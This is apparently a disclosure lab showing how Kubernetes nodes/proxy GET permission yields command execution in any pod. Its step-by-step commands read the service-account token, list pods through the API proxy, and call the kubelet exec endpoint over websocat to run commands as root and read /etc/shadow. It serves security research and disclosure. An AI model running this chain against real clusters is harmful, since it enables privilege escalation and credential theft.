Kubernetes RCE: Exploiting nodes/proxy GET
This is a minimal proof of concept. For a comprehensive analysis of this vulnerability, including root cause analysis, disclosure timeline, and detection recommendations, see the full blog post.
This lab demonstrates how nodes/proxy GET permissions allow command execution in any Pod, despite appearing to be read-only.
Enter the attacker pod
First, exec into the attacker pod. This pod has a service account with only nodes/proxy GET permissions.
kubectl exec -it attacker -- sh
Check your permissions
Verify the service account only has nodes/proxy GET:
kubectl auth can-i --list
You should see nodes/proxy with only the get verb - no create permission.
Set up environment variables
Inside the attacker pod, set up the token and API server:
export TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
export APISERVER=https://kubernetes.default.svc
Extract the node name from the JWT token payload (JWT uses base64url encoding):
export NODE_NAME=$(echo "$(echo $TOKEN | cut -d. -f2)==" | tr '_-' '/+' | base64 -d 2>/dev/null | jq -r '.["kubernetes.io"].node.name')
echo $NODE_NAME
Discover Pods and Node IPs
Using only nodes/proxy GET, query the API server proxy endpoint to list all pods on a node and discover their host IPs:
wget -qO- --no-check-certificate \
--header "Authorization: Bearer $TOKEN" \
"$APISERVER/api/v1/nodes/$NODE_NAME/proxy/pods" | jq -r '.items[] | "Node: \(.spec.nodeName) (\(.status.hostIP)), Namespace: \(.metadata.namespace), Pod: \(.metadata.name)"'
Extract just the node IP for later use:
export NODE_IP=$(wget -qO- --no-check-certificate \
--header "Authorization: Bearer $TOKEN" \
"$APISERVER/api/v1/nodes/$NODE_NAME/proxy/pods" | jq -r '.items[0].status.hostIP')
echo $NODE_IP
Execute commands in any Pod
Now use websocat to execute commands in the nginx pod. This works because WebSocket connections use HTTP GET for the handshake, bypassing the CREATE verb check:
websocat --insecure \
--header "Authorization: Bearer $TOKEN" \
--protocol v4.channel.k8s.io \
"wss://$NODE_IP:10250/exec/default/nginx/nginx?output=1&error=1&command=id"
You should see output like uid=0(root) gid=0(root) groups=0(root) - proving command execution with only GET permissions.
websocat --insecure \
--header "Authorization: Bearer $TOKEN" \
--protocol v4.channel.k8s.io \
"wss://$NODE_IP:10250/exec/default/nginx/nginx?output=1&error=1&command=cat&command=/etc/shadow"
Read the contents of /etc/shadow on the nginx host.
Why does this work?
For a full breakdown, please refer to the full disclosure.
Level up your Server Side game — Join 20,000 engineers who receive insightful learning materials straight to their inbox